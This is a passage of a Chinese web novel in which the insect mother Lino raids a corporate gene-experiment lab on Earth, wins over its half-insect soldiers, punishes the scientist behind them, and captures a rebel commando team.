主管刚松了一口气，又瞬间把心提到嗓子眼：“诺亚之舟是最先开始的……与诺亚之舟是竞争关系的还有两个大集团，他们似乎有打算效仿诺亚之舟……但是诺亚之舟把异族基因和改造科技设为最高机密。” 他勉强道：“其实这种技术是违背联邦法律的，但是没办法。” 在如今贫富差距巨大的世界里，只存在一个松散的、没有多少话语权的联盟政权，真正在联盟占统治地位的是像诺亚之舟这样的大集团。 利诺了然点头，现在的地球和他上辈子时的地球完全不一样，他上辈子丧尸病毒肆虐，人类数量缩减到原来的十分之一，甚至要更少，原来的国家政权不复存在，只有大大小小的人类幸存者基地。 利诺脚步微顿，耳尖动了动，和希尔维乌斯对视一眼，露出疑惑和惊讶的神色：“希尔维乌斯，你听到了吗？” 希尔维乌斯点头，没多少表情的脸也多了丝涟漪：“冕下，是熊蜂飞行的声音。” “嘿咻……嘿咻……嘿咻咻……”熊峰领队的短音节嗡鸣整齐规律，由远及近，声音由小变大。 整整五十六只熊蜂带着两个装满蜂蜜的罐子飞到利诺的面前，利诺有数过，给他定期送蜜的有两队熊蜂，一队有五十三只，熊蜂领队身上的黄色条纹要更深，而此时来的是第二队，第二队的熊蜂领队是利诺见过的最大最胖的一只熊蜂。 “嘿咻！”此时最大最胖的熊蜂领队停下来，擦擦前足，给利诺做了一个标准的见面礼。 利诺伸出手，碰了碰熊蜂领队的小触角，声音甜蜜又温柔：“小宝贝，你们是怎么来的这里？” 虫族艳羡的目光落在这群怎么看都是普通蜜蜂的身上，希尔维乌斯瞥了眼熊蜂群，内心的滋味不可谓不复杂。 毕竟利诺只会叫这些熊蜂们宝贝，希尔维乌斯这些高等虫族曾一致认为，冕下喜欢小的，而不是他们这些就连拟态成人形都要比冕下高许多的大虫子。 熊蜂领队仰头在利诺的指腹上蹭蹭，幸福地发出疑问：“嘿咻？” “这里和咱们虫族的星系很远很远，中间夹杂一片厚厚的迷雾，所以宝贝你们是怎么来到我身边的？”利诺对这些小而可爱的熊蜂总会有超乎寻常的耐心。 熊蜂的智力不比其他虫族高，领队歪头，足足思考了五分钟，才点点头：“嘿咻！” 中足打开随身携带的迷你小挎包，那是利诺让手工活好的安瑟姆给这些熊蜂们缝制的。 熊蜂领队从爱惜无比的小挎包里掏了掏，最终掏出一枚绿豆大小的红色晶石。 很熟悉的颜色，利诺瞬间认出这石头为什么熟悉了。 希尔维乌斯神情紧张，护在利诺面前：“冕下小心！” 希尔维乌斯的那颗石头开出来的就是这种红色晶石，是熊蜂领队拿出来的放大版。 熊蜂领队不满地瞪了眼希尔维乌斯，将石头放回小挎包，重新飞到利诺面前。 他的前足往前滑动，利诺道：“你的意思是在采花粉要酿蜜。” “嘿咻！”熊蜂领队的所有虫足齐齐挥舞，又将红色石头重新握在手中。 利诺和熊蜂仿佛心有灵犀，手指托着下巴思考了会儿：“然后你发现了这种石块。” “这种石头让你们突破了穿梭时空的限制，可以越过迷雾的阻拦，去到你们想去采花粉的地点？” 熊蜂：“嘿咻嘿咻！” 利诺说的全部正确，默契地和熊蜂领队来了个小小的击掌。 但扶林疑惑道：“这是新的你比划我来猜游戏吗？我竟然一个都没看懂蜜蜂在比划什么……呜呜！” 艾默里熟练捂住但扶林的嘴，并在利诺看不到的地方给了但扶林一个重重的脑瓜崩。 但扶林就算想在利诺面前刷存在感，也不应该在要紧的时候插话，艾默里没有去过虫族，但已经在想虫族的哪所学校严格了，他会把但扶林送进最严的学校！ 利诺想到自己和希尔维乌斯来到这里的原因，猜测：“是不是石块小一点好控制，石块大了会立刻催动随机传送？” 这点问到了熊蜂的知识盲区，熊蜂根本没听懂利诺的话，小黑眼睛茫然：“嘿咻？” “没关系，宝贝，接下来我有一项任务要交给你，你一定会做到的，是不是？”利诺揉揉熊蜂。 “嘿咻！”熊蜂的音节透出坚毅。 第54章 利诺从空间钮拿出纸和笔，唰唰开写，很快写满一张纸。 “冕下是想要利用红石和熊蜂的能力，让更多的虫族进入这里？”纸上的通用语文字非常标准，希尔维乌斯随意看了眼就明白了大概的意思。 “没错。”利诺将纸叠起来，让熊蜂领队的小爪子抱住这张纸，温柔道，“宝贝，把纸交给赫弥珞，赫弥珞你知道的吧，就是那只银头发的虫族。” 利诺说着还比划了两下，熊蜂领队晃着肥胖如球的身体，有些疑惑。 “嘿咻咻……”另外一只熊蜂对领队使用熊蜂的加密语言，虫足乱晃。 “嘿咻！”熊蜂领队迟钝地点头，他知道了，是最凶最可恶的那只大虫子。 他们熊蜂上次去给冕下送新鲜的蜂蜜，这只虫子不让他们见冕下，把蜂蜜罐罐夺下，就催他们走，说冕下需要休息。 不要以为他熊蜂领队是白当的，这只虫子肯定是在欺负冕下，他露出来的皮肤都有冕下留下的抓痕和咬痕！ 不过熊蜂领队不是个爱记仇的，而且最终他还是见到了冕下，恩，捂着腰、很累很累的冕下…… 胖熊蜂构造简单的脑子可以分清轻重缓急，和银发虫族的恩怨可以放到一边，冕下的任务是最重要的。 “把纸交给赫弥珞，他会知道怎么做。”利诺抬起手蹭了蹭熊蜂的绒毛，“之后还需要你们的能力辅佐，你们一定可以做到的！” “嘿咻！”熊蜂领队和利诺击掌，剩下的熊蜂把蜜罐交给希尔维乌斯，又轮流和利诺挨挨蹭蹭，满足离开。 小挎包里的红色晶石闪现亮光，和熊蜂与生俱来的能力相互弥补，一群胖胖的熊蜂嘿咻嘿咻着，身形时隐时现，就跨越了辽阔的时空，回到虫族的领地中。 “意外之喜！”利诺喟叹，“熊蜂们的能力居然这么好用。” 希尔维乌斯垂眸：“都是因为冕下您在这里，虫族只会效忠您，哪怕是熊蜂。” 要是被红色晶石送过来的只有希尔维乌斯，熊蜂才懒得管，哪怕是收集花粉的途中遇到，也不会搭理。 希尔维乌斯的夸赞比较生硬，他不如安瑟姆可以把利诺夸出花来。 利诺眼神游离，转移话题：“我听说军舰飞船空间跃迁的装置就是仿照熊蜂来的？” “没错，但是科研院只破解了熊蜂的部分能力。”希尔维乌斯解释，在空间跳跃上，虫族最先进的科技也比不过熊蜂。 熊蜂没有进化出虫族正常的智力、体型乃至强悍的战斗力，却有其他虫族都比不上的特殊能力。 利诺伸出手，希尔维乌斯立刻猜出他要什么，将装满蜂蜜的罐子打开，黄金液体的香气弥散。 “咕咚——”跪在地上的主管疯狂吞咽口水，这种天然蜂蜜非常珍贵，他有幸尝过一次，连公司高层都很珍惜的天然蜂蜜远远比不上眼前罐子内的。 利诺蘸了点放在口中，一如既往的好吃！ 因为熊蜂每次酿蜜时采集的花粉都不一样，因此每次的蜂蜜都有不同的风味。 “你们要吃吗？”利诺不是个小气的虫，他大手一挥，让半虫排成队。 蜂蜜有限，而半虫的数量不少，因此每只虫子分到的只有一点点，愣愣看着自己分到的那点蜜，眼眶热热的。 他们舍不得吃，这是小虫母分给他们的，是昂贵的纯天然食物，他们这种集团的耗材是不配吃的。 “吃吧，再不吃就不好吃了哦！”青年和希尔维乌斯彼此分食罐内剩下的薄薄一层蜂蜜，殷红的唇覆盖上漂亮的光泽，比起蜂蜜还要香甜可口。 “谢谢冕下……”半虫低下头，将蜂蜜塞进口中，蜂蜜如它的气味一样好吃，可再好吃，也抵不过体内涌动的暖流和蓬勃的心跳。 ——妈妈将珍贵的蜂蜜分给了他们，他们不再是廉价可消耗的产品，而是妈妈的同族。 虫族……有妈妈的虫族一定是他们最好的归宿。 从实验室制造出来的半虫，没有一只的生活不是悲惨的，有像艾默里这种被不断做惨烈实验的，也有被欺骗或被强迫从一个正常人改造成没有情感的半虫。 他们被压榨，被控制，被奴役，因为虫族强悍的身体构造而昼夜不息，去执行各种高难任务，很多半虫因此死去，能够活下来的都是足够强大也足够幸运的。 在利诺眼中，这些半虫是一群小可怜，护短的小虫母越想越气，最后怒而一拍大腿，漂亮的五官顿时扭曲，嘶着气倒在希尔维乌斯的怀里。 “冕下！”希尔维乌斯和其余半虫紧张站起来，将利诺护住，他们以为是敌袭，恐怖的杀意凝聚。 被忽略个彻底的主管瑟瑟发抖，低着头想自己怎么还没有被吓死！ 希尔维乌斯抱着利诺的手在发抖：“冕下，您感觉到哪里不舒服？” “腿……”利诺闭上眼，羞愤道，“抱歉，我、我把自己打疼了！” 利诺有了治愈的能力不假，但不意味着他受伤就不会疼了，尤其还是这种疼痛是他自己带给自己的…… 丢脸！简直丢虫的脸！ 利诺羞愤欲死。 “很疼吗？”希尔维乌斯看着利诺即使穿着宽松裤子也纤细笔直的腿，干渴地咽下口水，“需要我舔舔吗？舔舔也许，就不疼了？” 利诺死鱼眼：“不用谢谢，我有治愈能力！” 他转移众虫的视线，用冷冰冰的语气问主管：“你说你可以带我们去其中一个实验室？” 主管顿时如蒙大赦：“对对对对！我可以，我知道！只要给我个痛快的死法就成！” 被恐惧不断折磨的主管如今对于生，更想求死。 利诺奇怪地看了眼主管，第一次听到有人提出这种要求，他只能同意了：“好，现在就走！” “希尔维乌斯，还有艾默里，你们跟我一起。”利诺命令道，精神力展开，他又挑中几十只意识海就快要开启的半虫士兵一起。 这些半虫士兵只需要一点刺激，就可以开辟意识海，成为真正的虫族。 但扶林失落：“冕下哥哥，那我们呢？您不要我们了吗？” “当然不是啦，你们还有别的任务。”利诺绽开一个神秘的笑，“知道咱们虫族除了打架，最擅长的是什么吗？” “什么？！” 和垃圾城隔湖相望的，是一座繁华的城市，高耸入云的大楼，精心修建的花草绿叶，来来往往的车行驶在规定好的空中路线。 第三实验室负责人刚长跑完，坐在公园长椅上边休息边抬头欣赏大屏上正播放的当红女星的电视剧，直到左耳内移植的微型耳机传来匆忙的声音。 垃圾城根本买不到的能量饮料被负责人骤然收力的手掌挤出瓶子，可他现在顾不上这些，他发出低喝：“什么？！” “你们是干什么吃的？足足三百名训练有素、经验丰富的士兵，其中还有一百八十名阿瑞斯Ⅱ号武器产品，你告诉我这支小队销毁不了两个初代实验体，全军覆没了” “……抱歉西里博士，我们只知道在十分钟前，飞机以及所有士兵乃至负责这次任务的主管的信号全部消失。”助理的声音越来越低。 “继续搜集消息。我现在就回去。”西里博士没了接着早练的心情，浑身低气压，回到郊外的实验室。 实验室的外表很隐蔽，从外面来看，只以为是富人建造的私人花园，实则地下才是真实的实验室。 第三实验室是诺亚之舟最重要的实验室之一，和其他几个实验室负责人研究出半虫士兵的西里博士拥有对整个实验室的最高权限。 他一路畅行无阻，几名套着项圈的阿瑞斯Ⅱ号士兵面无表情，护送西里博士回到实验室的负五层。 “找到具体原因了吗？”穿上工作制服的西里博士冷着脸进入其中一个房间，一堆科研者正在窃窃私语，讨论小队失联的突发情况。 助理摇头：“抱歉博士，我们没有找到任何有关的信息，我的建议是再派一队士兵……” “然后再折在未知的危险中吗？”西里博士冷哼了声，毫不客气地驳斥助理的意见，“虽然阿瑞斯Ⅱ号士兵是很好用的生物武器，但同样是集团的财产，集团的财产可不是你这么挥霍的！” “可是那些消耗品比起无人机要更好用，消耗掉一个士兵，还可以有更多的士兵。”助理辩解，话里根本不把那些半虫士兵当成生命。 助理的话很有道理，毕竟探索无人机的制作需要一种珍贵的矿物，地球上这种矿物的产量即将告罄。 反而是阿瑞斯Ⅱ号生物武器，只需要绑来一个没权没势的人，注射药剂，就可以变成绝对听话的生物武器。 人命比起珍稀矿物，要廉价多了。 近些年来，诺亚之舟越来越大胆，在阿瑞斯计划刚开启时，还只用实验里人造子宫孕育的、没有姓名父母的人类作为实验体。而现在，他们为了节省时间和资金，会抓走那些游走在社会边缘的底层贫民。 哪怕实验室是以隔音材料制成，以半虫的听力，只要想听，就可以清楚听到他们的谈话。 可在门口守卫的半虫士兵压根没情绪波动，像木偶般站着，麻木。 突然，奇怪的感觉在脊髓、在灵魂中升起，他们遥遥看向同一处，瞳孔瞬间化作虫瞳。 不止这两名半虫，地下实验室内所有的半虫都感知到了某种存在。 “妈妈……”半虫低喃出声。 随着这道呼唤出口，基地的灯齐齐关闭，刺目的红灯和刺耳的警报充斥整个地下实验所。 第55章 与此同时，和利诺同一个目的的同盟军敢死队也恰好潜入这间实验室。 他们静默等待着同伴快速操作，在侵入面板上暂时切断控制实验室系统，之后行动成功的概率会更高。 毕竟他们是反抗科技集团的同盟军，背后的靠山没有多大的实权，除了部分逃出来的基因改造者，全都是普通人。 而就算是那些逃出来、加入同盟军的基因改造者，都是其他科技集团的实验品，其战斗力远远比不上诺亚之舟制造出来的阿瑞斯Ⅱ号。 灯灭得突然，敢死小队本就精神高度紧张，不打任何招呼的灭灯让他们更是大气不敢喘一口，个别本能就要站起来，拿武器扫射黑暗里可能存在的怪物。 “冷静！”敢死小队队长是个金发碧眼的成熟女人，很有威望，轻轻一抬手，就稳定了小队其他人的心。 “艾米丽队长，是不是那些生物武器发现了我们？”一个队友这样问。 有着利落短发的女人连思考都没有：“不可能。” 她压着声，以便小队成员都可以听到：“如果是那些怪物，他们不会费力切断电源，只会直接追杀。” 他们至今都不知道，诺亚之舟是用了什么方法，居然可以让这些已经不是人类的怪物如此忠诚。 同盟军无论开出何等优渥的条件，都无法让他们背叛诺亚之舟，和其他改造人一样加入推翻集团和联盟的计划中。 可以说，那些改造人根本没有情绪起伏，只关注任务的完成，听不到同盟军开出的条件。 艾米丽有接触过一个落单的士兵，半边身体被炸得血肉模糊，仿佛没有痛觉，依旧沉默地搜寻地下珍稀的矿物。 她跟着去和这位士兵交流，全程等不到回应，就像是一具没有灵魂的空壳，只被命令和服从充斥其中。 回想起那段经历，艾米丽会产生一种恐惧和愤怒的情绪，她被抓住的弟弟肯定也变成了这幅模样，不，这种样子的人已经不是她弟弟了！ 她的弟弟说不上好运还是倒霉，在她加入同盟军、要救回弟弟的时候，她的弟弟已经死在了一次任务中。 “队长？”一只手在艾米丽的眼前挥了挥。 “抱歉。”艾米丽回过神，按动耳内的装置，与外面的同伴取得联系：“菲尔德，是你切断了第三实验室的电源吗？” 她很久很久没有想起弟弟了，可艾米丽清楚，她有更重要的使命去完成。 诺亚之舟一日不覆灭，就会有更多像她弟弟一样无辜的民众在非自愿的前提下变成另外一个怪物。 男声回复：“没有啊……我还没有完全破解实验室的防火墙，该死的，还差十五分钟！艾米丽，请相信我，我一定可以破解成功！” “……也许你不用这么做了。”艾米丽不确认道，“或许有人比我们先来一步，率先中断了电源？” 对面的菲尔德不敢置信，惊呼出声：“怎么可能？怎么会有比我还厉害的计算机黑客存在？我可是最年轻最厉害的黑客top1！” “额……菲尔德，你应该知道一句话，天外有天人外有人？”艾米丽无情打破小屁孩的自负。 “等等艾米丽！如果实验室的电源中断，那绝对不是因为对方的计算机技术比我更厉害！”菲尔德顿了下，无比惊骇，“上帝佛祖和撒旦阎王啊！对方是把实验室内所有的供电装置，备用的、隐敝的，全都物理销毁了！” 像是在迎合菲尔德的话，红灯骤然闪烁，刺耳的警报几乎要将这支敢死小队的耳膜震碎。 “我们应该怎么办，菲尔德？是要撤退还是趁机安置微型原弹？”艾米丽不希望这次计划还没开始就要失败。 敲击声噼里啪啦，菲尔德道：“勇士们，你们有两个选择，选择一，现在撤退，我已经得到了第三实验室的地下地图，可以带你们走最近的逃生路线。” “选择二，实验室的全部供电装置损坏，至少三小时内诺亚之舟无法修复或替换供电装置，你们可以继续任务，但这样，你们大概率会遇到诺亚的改造士兵，也很有可能会遇到同样潜入实验室的未知力量。” “指挥官大人在你身边吗？他的命令是什么？”艾米丽问。 菲尔德：“老头子在呢，他说这次的行动由你们做决定，无论是什么，他都会理解并支持。” 黑客的话同样传到了敢死小队所有成员的耳麦里。 在闪烁的红灯中，艾米丽抬起头，看到是一张张被红灯映射的脸，在稍作犹豫后，是和她如出一辙的神情。 ——视死如归，不怨不悔。 不用交流，艾米丽得知了所有同伴的想法，她按住耳朵：“我们选择B，平等万岁，反抗军必胜！” 达成共识，敢死小队佩戴上一枚象征实验室清洁工身份的名牌，他们会短暂拥有实验室的最低权限，避免被改造士兵视为外来者屠杀。 可是这支敢死小队不知道，他们警惕畏惧的改造士兵、集团号称绝对忠诚的武器，已经集体叛变了。 在停电的一刹那，西里博士敏捷的大脑就预知到了某种危险。 他是一个绝对的利己主义者，在任何时候都会把自己的生命放在最优先的位置上。 而且诺亚之舟科技集团也是这么认为的，实验室没了可以再建，一个优秀的人才没了，能够培养出西里博士这种优秀人才的机会可不多见。 西里博士不慌不忙：“将所有的阿瑞斯Ⅱ号士兵拨到这里，优先护送我和重要级三级以上的科研人才安全离开。” “博士，我们不先试着抵抗吗？”一个四级科研者绝望道，哪怕他在一周后会顺利升到三级，可是现在的他名牌依旧是四级，他依旧不在被保护的队列中。 西里博士看都没看这人一眼：“你以为能够把实验室所有供电设备都销毁的力量，我们可以抵抗吗？” 等候中，西里博士不介意多说一点：“对方很了解我们的实验室构造，能够这般果断袭击，想必已经摸清了第三实验室的一切。” “对方知道的，也许比你还要多。” 看了看手表，西里博士皱眉：“士兵怎么还没有来？”按照他预估的时间，已经超出了一分钟。 助理将并不依赖电量的操纵器交给西里博士：“我已经按照您的吩咐，将所有的士兵都调遣过来了。” 上面的红点极速移动、汇聚，然后顺着规划的路线往西里博士所在的实验室走。 因为实际时间和预计时间不吻合，西里博士心下升起一些不安，要知道，他的预算从来没有出过错，向来非常准确，顶多差个五六秒。 西里博士很惜命，这意味着他足够谨慎多疑，他当下立断：“有问题，先离开这里！” “不可以哦，我还没允许！”年轻的声音带着不可质疑的绝对，在整齐的脚步声中站在了门口。 那是个有着粉白色头发的妖异青年，漂亮得不可方物，是再完美的捏脸也捏不出来的精致。 他交叉手臂，用一双银灰色的竖瞳看向西里博士，在他的身后，无数只半虫士兵用相似的竖瞳冷漠又残忍地看向西里博士。 青年一直在看西里博士，而那些半虫仅仅看了一眼，就全身心地注视小虫母。 是妈妈！是拯救他们的妈妈！也是他们效忠的唯一存在！ 即使没有冠冕和权杖，被强悍虫族小心拥簇的青年依旧是最有含金量的王，美丽但危险。 西里博士在见到利诺和希尔维乌斯那双货真价实的竖瞳时，瞳孔猛地一缩，随即后退，将挤在实验室里的其他科研者护在身前。 利诺注意到了这点，饶有趣味地吹了个口哨：“那谁，第三负责人是谁？” 仅仅是个炮灰没有姓名的主管指着最后面的男人：“就是他，西里博士，是这里的负责人，他就是研究出半虫士兵的人之一！” 如果说主管前面在想解脱中还稍微有点活下去的期待，那么目睹青年明明是第一次进入基地，却在眨眼间找出连他都不清楚的供电装置时，明明是第一次见那些半虫士兵，却在第一眼就得到了士兵的臣服。 这个疑似外星人头头的漂亮青年肯定是来降维打击的，相比那些正在解剖研究阿瑞斯士兵的科研者死无全尸的下场，集团主管现在只想留个完整的尸体！ 利诺喊了声：“艾默里。” 和这所实验室有血海深仇的艾默里瞬移，动作粗鲁地把西里博士拽到了利诺不远处。 利诺有虫母身份的百分百加持，他在踏入这片领地，将象征虫母的精神力外放时，所有的半虫只会臣服，和为冕下清除前进的障碍。 西里博士往前踉跄几步，差点扑到利诺的身上，在他索性故意往前走的时候，一根狰狞危险的尾钩止住了他接下来的动作。 西里博士只好后退两步，不至于让尾钩时刻威胁他的生命。 他饶有兴趣地看了眼希尔维乌斯伸出来的虫族尾勾，最后看向利诺：“从外太空来的异族，有没有兴趣和我做交易？我认为，互惠互利是我们这些聪明人才会有的做法！” “交易？”利诺露出一排小白牙，笑容无害单纯，说出的话却和外表两个极端，“等我先解气，再说交易。” “什么……解气？西里博士张口要问，利诺绽放四片蝶翼，水润白嫩的手钳制住西里博士的脖子。 他以飞起来而形成的身高差优势，将西里博士的头往装着一只泡着畸形虫胎的马尔福林夜器皿上撞。 第56章 利诺胃里泛着酸涩的恶心，在他见到无数瓶瓶罐罐中的人类与虫族合成的失败品后。 那些标本有婴幼儿，有青壮年，也有耄耋老人，有男有女，也有双性，但都死在与虫族基因的融合和改造中。 福尔马林的罐子内的失败品畸形扭曲，是世间最大的污秽。 这些标本不算真正的虫族，但因为体内存在不完善的虫族基因，利诺的精神力捕捉到了他们死前的微末情绪。 极度的痛苦和悲伤，残留的一丝人性和虫族在死亡前下凭借本能对母亲的呼唤相互碰撞 利诺的心脏在疼。 “住手！你在……干什么？”第一次撞击，西里博士的头如同熟西瓜摔在地上，被坚硬的器皿砸出大洞，血液止不住地往外流。 西里博士刚开始是有意识的，他有力气去发出质疑，但很快，血液的流失让他的生命特征极速下降。 濒临死亡时，利诺治愈了他。 西里博士刚发觉自己不会死了，连这么特殊的治愈力都没有意识到，他的头再次被提着，撞到第二个器皿上。 那里面有一颗拥有繁密复眼的年轻男人的头颅，复眼死死盯着头破血流的西里博士。 利诺的体力不算差，尤其是和人类相比，等他反复治愈再拽着西里博士撞来撞去累了，西里博士的精神快要崩溃了。 被全部治愈，西里博士没有劫后余生的庆幸，而是摊成烂泥，被助理搀扶起来。 他们低着头，不敢去看过分漂亮的青年，明明体架不大，没想到居然这么残暴！ 可虫族完全不这么想，他们担忧地看向气喘的小虫母，妈妈很累。 让妈妈这么累，这些人该死！ 虫子们看向不敢动的几个人，更加仇视。 “冕下，深呼吸。”希尔维乌斯仗着是利诺带来的下属和在场实力最强的虫族，理所当然成为安抚虫母的虫。 他轻柔拍打利诺的后背，帮忙顺气：“冕下现在高兴了吗？” 利诺点点头，又摇摇头，手心朝上给希尔维乌斯看，可怜兮兮地卖惨：“你看我的手都肿了。” 助理和其他科研工作人员正抱着半死不活的西里博士抢救，听到这话，表情奇怪：听听，这说的是人话吗？ 哦对了，他们还真不是人！ 希尔维乌斯微微低头，捧来利诺的手，只见玉白无茧的掌心确实覆盖了一层淡淡的红。 肿是算不上的，虫族的体质放在那里，能够打败利诺的只有虫族，这点红不过是利诺攥西里博士的头发太用力了。 虫族把虫母看得跟眼珠子一样，多掉根头发都恨不得开会探讨原因、做出具体对策。 希尔维乌斯自然心疼死了，他小心翼翼地在小虫母的手心呼气：“冕下，这样好受点吗？” “这种重活您可以吩咐给我做，您亲自出手太给他脸了。” “……”西里博士终于摆脱了撞傻的状态，清醒了些，结果就听到这种不要脸的话。 “被给脸”的西里博士差点绷不住表情，不符合身份地翻白眼。 好在多年身居高位，西里博士没有破功，而是道：“如果您解气了，我们可不可以接着谈交易内容？” 利诺抬眼，红唇吐出无情的回答：“我拒绝。” 自信的西里博士愣住：“您不先听一下？” “我不需要，我想要什么，我的族群都会为我找来。”利诺歪头，“为什么非要和你交易？” 他不带温度地轻笑了下：“你现在可以活着，不是因为你的研究有价值，而是因为你要为我带路，找出另外的重点实验室。” 西里博士很喜欢漂亮的男孩，可是利诺的话让他感觉骨头发冷，他自傲的天赋和能力在异族这里完全不算筹码。 这时，助理小声问道：“只要和您说了其他实验室的位置，就不用死了是吗？” “我只需要一个知道的人。”利诺饶有趣味。 助理咬牙：“我是西里博士的助理，为他工作了十年，诺亚之舟所有的实验室位置我都了如指掌。” “我敢保证，西里博士知道的都不如我清楚。” “你个混蛋！”西里博士爆了粗口。 助理则后退几步，解释：“博士，您别动怒，我也只是想活着而已。” 他的眼光瞥到一具被半虫射中脑门的尸体，恐惧地吞咽口水，他还有家庭，他想活！ “你不记得是谁提拔你的吗？”西里博士没料到他最信任的助理会背叛他，上去就朝他的脸砸了一拳。 助理的身形晃了下，颧骨火辣辣的，他阴沉道：“我早就受够你了！别以为你对我有多大的恩，即使你不挑中我，也有其他的博士争着要我。” “白眼狼。”对此，西里博士只是冷冷骂了句。 两个人不顾形象，大打出手。 利诺咋舌，不由摸摸下巴，怎么感觉他跟逼迫兄弟反目的大反派一样？ 不对，这种感觉一定是错的，他可是正义小虫！ 叉腰自信！ 利诺微微后退，将空间留给了博士和助理，至于其他人的生死，利诺默认由那些饱受欺压的半虫决定。 看博士和助理笨拙的运动，利诺靠在希尔维乌斯的身上，今天频繁大量动用精神力的代价就是他饿了。 利诺踮起脚尖，摸到希尔维乌斯的翅膀，银灰色的竖瞳流露着渴望。 走廊隐蔽的夹角处，在平常就是一些员工摸鱼的好去处，在停电的时候更是变成了一间无人打扰的绝佳幽会场所。 “唔，好饿哦，希尔维乌斯。”利诺叼着雄虫的翅膀，将翅根上分泌的黄金液体送到口中，补充大量消耗的精神力。 希尔维乌斯的衣衫凌乱，杀怪物都不会变成这种狼狈的外表，可他甘之如饴。 黑暗不会阻碍他凝望虫母的欲望，差点饿急了眼的小虫母在进食时多了丝急躁。 敏感的翅膀被虫母啃咬时从利器化作玩具，无论被小虫母如何作弄，舔舐残留的蜜液，还是在上面留下多少圆牙印，都只会得到雄虫性感低沉的喘息。 分泌腺内储存的蜜液足够利诺享用，尤其是希尔维乌斯自从得知利诺只有吃蜜液才会真正满足食欲后，便有意储蓄蜜液，没有像往常那样频繁清理蜜液分泌腺。 希尔维乌斯用最严格的标准要求自己，必须时刻有能够喂饱妈妈的蜜液存放于蛾翼的根部。 这对利诺来说就是场盛宴了，等到进食的速度慢慢降下来，希尔维乌斯的蜜液没有吃完。 因为吃饱而心满意足的利诺被抱着，蹭了蹭希尔维乌斯的脖颈：“谢谢希尔维乌斯，我吃饱了！” “那俩人打完架了吗？” 希尔维乌斯摇头：“他们弱得不分彼此。” 博士和助理常年在实验室内，就算每天会晨跑保持一定的运动量，但到底没有打架方面的经验。 在虫族看来，这两个人类扭打的场面比他们刚破壳时和其他幼虫的争斗都不如。 希尔维乌斯执起利诺的手，在已经褪下红色的手掌上落下一吻：“还有很久，我帮冕下舔一舔。” “……不用，已经好了。”利诺说话的同时，就感觉到手心被一条濡湿粗糙的舌划过。 希尔维乌斯当做听不见：“我帮冕下。” 他细细地照拂利诺的手心，很快得寸进尺，将小虫母的每根手指吮吸。 希尔维乌斯在吃他的手指！利诺不知道手有什么好吃的，可他稍微低下头，就看到半跪的英俊雄虫垂着眼皮，在……很痴迷地啃咬他的指尖。 好似吃到了无与伦比的美味。 利诺仍旧意识不到他对这些虫子的吸引力有多大，光是闻一闻他的味道，就够虫子们回味一个月，每每想起，总会露出谜一样的微笑。 简单称呼变太，委婉喊做痴汗。 “等等，希尔维乌斯，你扒我的裤子做什么？”利诺迟疑的问话再次响起。 希尔维乌斯的声音清冷不再：“我记得冕下的腿也受伤了，而且冕下现在很热。” 他哑道：“帮妈妈舔舔伤口，顺便帮妈妈降下温。” 利诺夹住了双腿，双手捂住嘴巴，眼睛里冒出点点晶莹的泪光。 羞耻，还有……天啦真刺激！ 不知道过了多久，浑身清爽的利诺走了出来，希尔维乌斯的头发则明显是重新整理过的，不如之前那样规整。 艾默里大步走过来：“冕下，已经分出胜负了。 “是哪个活了？”利诺懒懒打了个哈欠，补充了精神力但耗费了精力，难免困顿。 “负责人西里博士。”艾默里回答，“他在最后用一枚玻璃碎片扎进了助理脖子的大动脉。” 艾默里的鼻尖嗅动，很快就问到了希尔维乌斯身上浓郁的香甜味道，是利诺的。 而且最浓郁的，是希尔维乌斯的嘴巴。 正在这时，希尔维乌斯舔了舔唇，面上没有什么表情，但足以让艾默里知道发生了什么。 咬牙，艾默里面上不由委屈了几分：“冕下接下来的命令是什么？” “冕下，我们抓到了几个清洁工打扮的入侵者。”几乎是瞬间就把自己融入虫族身份的实验室巡逻士兵在实验室被虫族占领后也没有放弃巡逻。 巡逻虫现在是在为虫母干活，全神贯注，与之前凑合的样子可不同。 因此，以艾米丽为首的敢死小队，在遇到第一批巡逻士兵时就被抓住了。 他们甚至连第一颗炸弹都没有安置！ 穿着保洁工作服的几人毫无反手之力，低着头，被压着朝利诺行礼。 金发碧眼的女人引起了利诺的注意：“你不像是人类……也是基因改造的产物？” 第57章 艾米丽抬起头，露出长满黑色纹路的半张脸，复杂：“我是被卖给伊甸园的实验体，体内有另外一种异族的基因。” 敢死小队抱着必死的决心参加这次的任务，誓要把第三实验室的毁灭变成整个诺亚之舟科技集团覆灭的开端。 可他们没有想到，明明名牌的权限还没有失效，在遇到第一支半虫巡逻士兵时，就被识破并控制。 改造士兵的应对也超出了敢死小队的预料，要知道这些已经变成另一种怪物的生物武器才不会好脾气地钳制他们，而是会在做出判断后立刻攻击，直至侵入者全部死亡。 艾米丽体内的异族基因虽然不是虫族，但敏锐的五官察觉到这些士兵的变化。 与很久之前和那只半边身子血肉模糊的士兵相比，这些士兵似乎不再是一句空壳，有什么东西的到来，让他们重新长出了灵魂。 艾米丽只能想到这一句可以粗略描述这些改造士兵的变化。 等被带到实验室，艾米丽第一眼看到的就是利诺，体内异族的基因告诉她，这是一个美丽至极又无比危险的生物。 艾米丽彻底做出最佳的判断，这位存在的外表和人类相似，智力不低，可以沟通。 想到一路走来的各种各样的尸体，还有房间内只剩下的那个西里博士，艾米丽意识到，他们的目的是一样的！ 再联想改造士兵的异状……艾米丽想到了最不可能的一个可能，这些改造士兵的基因来自面前漂亮青年的种族。 几乎掌控整个地球的诺亚之舟，因为基因改造而惹怒了一个相当强大的外星种族！ 利诺走近艾米丽，蹲下来，仔细检查了艾米丽脸上的黑纹。 突然的美颜暴击让艾米丽忘掉呼吸，瞳孔扩张，忘记要说什么，脑海中两个词语相互碰撞，一个是好喜欢！一个是危险快跑！ “没见过这个种族。”利诺扭头问希尔维乌斯，“你之前在迷雾之门内有见过类似的怪物吗？” 希尔维乌斯把一丝视线放在艾米丽脸上，很快移开，回答：“有见过，是一扇小门，里面的怪物也有这种纹路。” 虫族的记忆是很好的，稍微一思索，和某扇门内的一种怪物联系上，希尔维乌斯的语气平淡。 利诺点点头，再次看了看艾米丽，艾米丽和他曾经的一个队员很相似，不是五官，而是气质和性格。 这让利诺有些怀念，那位队员也陪他走到了最后，然后被含有病毒的食物变成丧尸。 利诺死前，她化作的丧尸撕咬他的手。 但是利诺不生气，归根到底是他连累了自己的小队，他们出生入死那么多年，彼此之间的感情早就如同家人一般亲密。 可惜是他这个队长不争气，害了他们。 利诺的声音软和很多，笑眯眯地对艾米丽道：“我们不会伤害你，你只要告诉我们来这里是为什么。” 艾米丽动摇了几分，但因为任务的保密和对眼前异族的不信任而在迟疑。 利诺不恼，笑着让几只半虫将敢死小队带到隔壁房间休息。 